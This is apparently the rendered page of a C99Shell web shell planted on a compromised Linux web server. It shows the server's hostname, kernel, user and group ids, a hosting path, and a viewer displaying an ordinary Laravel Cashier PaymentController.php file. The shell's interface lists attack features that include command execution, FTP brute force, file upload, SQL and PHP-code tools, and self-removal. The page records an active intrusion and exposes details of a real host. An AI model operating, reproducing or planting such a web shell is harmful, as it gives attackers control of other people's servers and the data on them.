!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/laravel/cashier/src/Http/Controllers/   drwxr-xr-x
Free 28.81 GB of 117.98 GB (24.42%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PaymentController.php (1.72 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Laravel\Cashier\Http\Controllers;

use 
Illuminate\Routing\Controller;
use 
Illuminate\Support\Arr;
use 
Laravel\Cashier\Cashier;
use 
Laravel\Cashier\Http\Middleware\VerifyRedirectUrl;
use 
Laravel\Cashier\Payment;

class 
PaymentController extends Controller
{
    
/**
     * Create a new PaymentController instance.
     *
     * @return void
     */
    
public function __construct()
    {
        
$this->middleware(VerifyRedirectUrl::class);
    }

    
/**
     * Display the form to gather additional payment verification for the given payment.
     *
     * @param  string  $id
     * @return \Illuminate\Contracts\View\View
     */
    
public function show($id)
    {
        
$payment = new Payment(Cashier::stripe()->paymentIntents->retrieve(
            
$id, ['expand' => ['payment_method']])
        );

        
$paymentIntent Arr::only($payment->asStripePaymentIntent()->toArray(), [
            
'id''status''payment_method_types''client_secret''payment_method',
        ]);

        
$paymentIntent['payment_method'] = Arr::only($paymentIntent['payment_method'] ?? [], 'id');

        return 
view('cashier::payment', [
            
'stripeKey' => config('cashier.key'),
            
'amount' => $payment->amount(),
            
'payment' => $payment,
            
'paymentIntent' => array_filter($paymentIntent),
            
'paymentMethod' => (string) request('source_type'optional($payment->payment_method)->type),
            
'errorMessage' => request('redirect_status') === 'failed'
                
'Something went wrong when trying to confirm the payment. Please try again.'
                
'',
            
'customer' => $payment->customer(),
            
'redirect' => url(request('redirect''/')),
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--